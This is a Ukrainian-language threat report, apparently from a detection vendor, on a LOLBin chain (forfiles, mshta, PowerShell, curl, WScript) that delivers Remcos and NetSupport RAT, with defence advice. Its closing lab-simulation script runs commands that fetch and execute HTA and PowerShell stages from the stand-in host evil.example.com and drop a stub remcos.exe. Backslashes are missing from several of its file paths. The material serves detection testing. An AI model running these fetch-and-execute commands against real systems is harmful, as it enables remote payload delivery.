SOC Prime Bias: Середній

23 Jan 2026 18:03

Чи Можна Надмірно Використовувати LOLBins для Доставлення Пейлоадів RAT?

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Чи Можна Надмірно Використовувати LOLBins для Доставлення Пейлоадів RAT?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Цей звіт описує багатостадійний ланцюг інфекції, який агресивно використовує вбудовані утиліти Windows (LOLBins) для отримання та запуску засобів віддаленого доступу, таких як Remcos та NetSupport Manager. Оператор використовує forfiles, mshta, PowerShell, curl, tar, WScript та цільові зміни в реєстрі для завантаження корисного навантаження, встановлення стійкості та зниження видимості. Робочий процес також використовує поведінку living-off-the-land для непомітного злиття з рутинною адміністративною діяльністю. Malwarebytes виявив цю активність і заблокував пов’язану IP-адресу. Загалом це підкреслює, наскільки широке використання LOLBins може надійно доставити RAT.

Розслідування

Дослідники вперше побачили, як forfiles.exe запускає mshta, що завантажує шкідливий HTA, який використовує PowerShell для отримання PDF приманки, що містить TAR архів. Після вилучення троянізований glaxnimate.exe скидає фрагментовані компоненти в ProgramData, потім повторно збирає і запускає їх за допомогою WScript, пакетних скриптів та допоміжних файлів. Стійкість була встановлена шляхом створення значення UserInitMprLogonScript під HKCUEnvironment, що посилалося на шкідливий клієнтський бінарний файл.

Захист

Моніторинг аномальної виконання LOLBin, зокрема forfiles, mshta, curl, tar, expand і підозрілих редагувань реєстру в межах HKCUEnvironment. Примусове використання білого списку додатків, увімкніть комплексний журнал PowerShell і заборонити виконання скриптів з ProgramData, щоб обмежити завантаження. Блокуйте незвичайний вихід HTTP до невідомих IP і застосовуйте фільтрацію URL для порушення початкових спроб завантаження.

Відповідь

Коли виявлено, ізолюйте хост, захопіть повну телеметрію командного рядка і зберіть скинуті артефакти для хеш-аналізу. Видаліть шкідливий запис реєстру і видаліть файли, створені в ProgramData. Проведіть сканування кінцевої точки з поточними антивірусними сигнатурами і впровадьте блокування на рівні мережі для IP-адреси нападника та будь-яких пов’язаних доменів.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[“<b>Техніка</b> – T1218.005: Mshta.exe<br/><b>Опис</b> Використання forfiles.exe для запуску mshta і завантаження HTA”] class initial_access technique process_mshta[“<b>Процес</b>: mshta.exe<br/><b>Дія</b> Виконує віддалену HTA”] class process_mshta process download_htapayload[“<b>Дія</b> – Завантаження HTA<br/><b>Інструмент</b> mshta”] class download_htapayload action cmd_execution[“<b>Техніка</b> – T1059.003: Windows Command Shell<br/><b>Опис</b> HTA запускає cmd.exe”] class cmd_execution technique powershell_one_liner[“<b>Техніка</b> – T1059.001: PowerShell<br/><b>Опис</b> One-liner завантажує payload як PDF, витягує за допомогою tar, запускає glaxnimate.exe”] class powershell_one_liner technique local_staging[“<b>Техніка</b> – T1074.001: Локальне стажування<br/><b>Опис</b> Створює файли .PART у ProgramData”] class local_staging technique vbscript_execution[“<b>Техніка</b> – T1059.005: Visual Basic<br/><b>Опис</b> wscript.exe запускає processor.vbs, який відкриває прихований cmd для виконання patcher.bat”] class vbscript_execution technique archive_extraction[“<b>Техніка</b> – T1560.001: Розпакування архіву<br/><b>Опис</b> expand витягує setup.cab, що містить NetSupport RAT”] class archive_extraction technique persistence[“<b>Техніка</b> – T1547.014: Ключі реєстру / Папка автозавантаження<br/><b>Опис</b> HKCU\\Environment\\UserInitMprLogonScript встановлено на client32.exe”] class persistence technique client32[“<b>Шкідливе ПЗ</b> client32.exe<br/><b>Призначення</b> Виконується під час входу”] class client32 malware glaxnimate[“<b>Шкідливе ПЗ</b> glaxnimate.exe троянізовано<br/><b>Призначення</b> Виконує шкідливий payload”] class glaxnimate malware netsupport[“<b>Шкідливе ПЗ</b> NetSupport RAT<br/><b>Призначення</b> Payload для віддаленого доступу”] class netsupport malware %% Connections initial_access –>|використовує| process_mshta process_mshta –>|завантажує| download_htapayload download_htapayload –>|виконує| cmd_execution cmd_execution –>|запускає| powershell_one_liner powershell_one_liner –>|розміщує файли| local_staging local_staging –>|виконує| vbscript_execution vbscript_execution –>|розпаковує| archive_extraction archive_extraction –>|інсталює| glaxnimate glaxnimate –>|інсталює| netsupport netsupport –>|призводить до| persistence persistence –>|виконує| client32

Потік Атаки

Виконання симуляції

Умова: Попередня перевірка телеметрії та базової лінії має бути успішною.

Обґрунтування: У цьому розділі викладено точне виконання техніки суперника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP і мають на меті генерувати точну телеметрію, очікувану виявною логікою.

  • Опис атаки та команди:
    Оператор червоної команди прагне розгорнути Remcos RAT за допомогою ланцюга LOLBins, щоб уникнути безпосереднього завантаження виконуваного файлу.

    1. Виявлення та інсценування: Use forfiles.exe щоб знайти цільовий каталог і запустити mshta зі шкідливою URL-адресою, що містить HTA завантаження.
    2. Файлове завантаження PowerShell: Виклик powershell.exe з -NoProfile -Command curl щоб витягнути сценарій другого етапу з сервера C2.
    3. Виконання VBScript: Розгорнути створений processor.vbs via WScript.exe щоб записати виконуваний файл RAT в %ProgramData%.
    4. Скидач пакетів: Запустити прихований пакетний файл (patcher.bat) через cmd.exe викликаний через IWshShell3.Run для остаточного встановлення стійкості.

    Кожен крок генерує окремий подію створення процесу, яка відповідає одній з вибірок Sigma, забезпечуючи спрацьовування правила.

  • Скрипт регресійного тесту:
    Скрипт нижче відтворює чотири вибірки в контрольованій лабораторії. Він реєструє кожну команду до тимчасового файлу для пізнішої перевірки.

    #-------------------------------------------------
    # Імітація зловживання LOLBin – спрацьовує правило Sigma
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Виконання: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl завантаження
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Виконання: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Виконання: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Виконання: $cmd4 (через IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Імітація завершена." | Tee-Object -FilePath $log
  • Команди очищення:
    Видалити артефакти, щоб відновити хост до чистого стану.

    # Очищення артефактів імітації LOLBin
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Очищення завершено."